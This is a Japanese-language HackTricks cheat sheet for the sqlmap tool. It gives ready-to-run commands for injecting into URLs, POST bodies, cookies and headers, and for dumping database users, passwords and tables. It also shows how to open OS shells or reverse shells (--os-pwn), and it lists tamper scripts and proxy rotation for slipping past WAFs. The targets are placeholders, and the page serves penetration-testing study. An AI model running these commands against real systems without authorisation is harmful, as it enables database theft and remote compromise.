SQLMap

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SQLmap の基本引数

汎用

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

手法フラグ (--technique)

--technique 引数は sqlmap が試行する SQL injection の手法を指定します。
文字列の各文字が手法を表します:

文字手法説明
BBoolean-based blind真/偽の条件を使用してデータを推測します
EError-based詳細な DBMS エラーメッセージを利用して結果を抽出します
UUNION query同じチャネルを通じてデータを取得するために UNION SELECT ステートメントを注入します
SStacked queries; で区切られた追加のステートメントを付加します
TTime-based blind遅延(SLEEP, WAITFOR)に依存して注入を検出します
QInline / out-of-bandLOAD_FILE() のような関数や DNS のような OOB チャネルを使用します

デフォルトの順序は BEUSTQ です。順序を変更したり制限したりできます。例: その順序で Boolean と Time-based のみを指定する:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

情報の取得

内部

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB データ

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

インジェクション箇所

Burp/ZAP のキャプチャから

request をキャプチャして、req.txt ファイルを作成する

sqlmap -r req.txt --current-user

GET リクエスト Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Headersやその他の HTTP Methods における Injections

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap と auto-exploit でウェブサイトをクロールする

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injectionのカスタマイズ

サフィックスを設定する

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

プレフィックス

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection の検出支援

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyアポストロフィ(’)を UTF-8 の全角相当文字に置換する
apostrophenullencode.pyアポストロフィを不正な二重ユニコード表現に置換する
appendnullbyte.pyペイロード末尾にエンコードされた NULL バイト文字を追加する
base64encode.py指定されたペイロードの全文字を Base64 エンコードする
between.py大なり演算子 (‘>’) を ‘NOT BETWEEN 0 AND #’ に置換する
bluecoat.pySQL 文の後のスペースを有効なランダムなブランク文字に置換する。その後、‘=’ を LIKE 演算子に置換する
chardoubleencode.py指定されたペイロードの全文字を二重 URL エンコードする(既にエンコードされたものは処理しない)
commalesslimit.py‘LIMIT M, N’ のような表現を ‘LIMIT N OFFSET M’ に置換する
commalessmid.py‘MID(A, B, C)’ のような表現を ‘MID(A FROM B FOR C)’ に置換する
concat2concatws.py‘CONCAT(A, B)’ のような表現を ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’ に置換する
charencode.py指定されたペイロードの全文字を URL エンコードする(既にエンコードされたものは処理しない)
charunicodeencode.py指定されたペイロードの未エンコード文字を Unicode-URL エンコードする(既にエンコードされたものは処理しない)。 “%u0022”
charunicodeescape.py指定されたペイロードの未エンコード文字を Unicode-URL エスケープする(既にエンコードされたものは処理しない)。 “\u0022”
equaltolike.py等号演算子 (‘=’) をすべて ‘LIKE’ 演算子に置換する
escapequotes.pyクオート (’ と “) をスラッシュでエスケープする
greatest.py大なり演算子 (‘>’) を ‘GREATEST’ 相当に置換する
halfversionedmorekeywords.py各キーワードの前にバージョン指定された MySQL コメントを追加する
ifnull2ifisnull.py‘IFNULL(A, B)’ のような表現を ‘IF(ISNULL(A), B, A)’ に置換する
modsecurityversioned.pyクエリ全体をバージョン指定のコメントで囲む
modsecurityzeroversioned.pyクエリ全体をゼロバージョンのコメントで囲む
multiplespaces.pySQL キーワードの周りに複数のスペースを追加する
nonrecursivereplacement.py事前定義された SQL キーワードを置換用に適した表現に置換する(例: .replace(“SELECT”, “”) フィルタ)
percentage.py各文字の前にパーセンテージ記号 (‘%’) を追加する
overlongutf8.py指定されたペイロードの全文字を変換する(既にエンコードされたものは処理しない)
randomcase.py各キーワード文字をランダムな大文字/小文字に置換する
randomcomments.pySQL キーワードにランダムなコメントを追加する
securesphere.py特殊に細工した文字列を追加する
sp_password.pyDBMS ログからの自動的な難読化のため、ペイロード末尾に ‘sp_password’ を追加する
space2comment.pyスペース文字 (’ ’) をコメントに置換する
space2dash.pyスペース文字 (’ ‘) をダッシュコメント (’–‘) に置換し、その後にランダムな文字列と改行 (’\n’) を追加する
space2hash.pyスペース文字 (’ ‘) をポンド記号 (’#‘) に置換し、その後にランダムな文字列と改行 (’\n’) を追加する
space2morehash.pyスペース文字 (’ ‘) をポンド記号 (’#‘) に置換し、その後にランダムな文字列と改行 (’\n’) を追加する
space2mssqlblank.pyスペース文字 (’ ’) を有効な代替文字セットからのランダムなブランク文字に置換する
space2mssqlhash.pyスペース文字 (’ ‘) をポンド記号 (’#‘) と改行 (’\n’) に置換する
space2mysqlblank.pyスペース文字 (’ ’) を有効な代替文字セットからのランダムなブランク文字に置換する
space2mysqldash.pyスペース文字 (’ ‘) をダッシュコメント (’–‘) と改行 (’\n’) に置換する
space2plus.pyスペース文字 (’ ‘) をプラス記号 (’+’) に置換する
space2randomblank.pyスペース文字 (’ ’) を有効な代替文字セットからのランダムなブランク文字に置換する
symboliclogical.pyAND と OR 論理演算子をそれぞれの記号表現 (&& と ||) に置換する
unionalltounion.pyUNION ALL SELECT を UNION SELECT に置換する
unmagicquotes.pyクオート文字 (’) をマルチバイトの組み合わせ %bf%27 に置換し、末尾に汎用コメントを付加する(動作させるため)
uppercase.py各キーワード文字を大文字に置換する(例: ‘INSERT’)
varnish.pyHTTP ヘッダ ‘X-originating-IP’ を追加する
versionedkeywords.py各関数でないキーワードをバージョン指定された MySQL コメントで囲む
versionedmorekeywords.py各キーワードをバージョン指定された MySQL コメントで囲む
xforwardedfor.py偽の HTTP ヘッダ ‘X-Forwarded-For’ を追加する
luanginxmore.pyPOST 専用の tamper で、Lua-Nginx WAF パーサ(例: Cloudflare)を枯渇させるために数百万のダミーパラメータをペイロードの前に付加する。

luanginxmore generates ~4.2M random POST parameters before your payload; use it only with --method=POST and expect large request sizes to crash poorly configured Lua-Nginx WAFs.

有効化を検討すべき最近のスイッチ (>=1.9.x)

  • HTTP/2 transport: --http2 は sqlmap に HTTP/2 で通信させる(HTTP/1.1 をレート制限するが h2 を緩和するフロントエンドに有効)。HTTPS を固定するには --force-ssl と併用する。
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 はリストを順にローテーションし、IP ベースのスロットリングを避けるために 3 リクエストごとにプロキシを切り替える。
  • Offline / purge modes: --offline はターゲットに触れずにキャッシュされたセッションデータを再利用する(ネットワークトラフィックはゼロ)。一方 --purge は処理後にセッション/出力ディレクトリを安全に消去する。
  • Mobile UA emulation: --mobile は人気のスマートフォンの User-Agent を偽装するよう促す。モバイルクライアント向けに追加フィールドを公開する API で有用。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする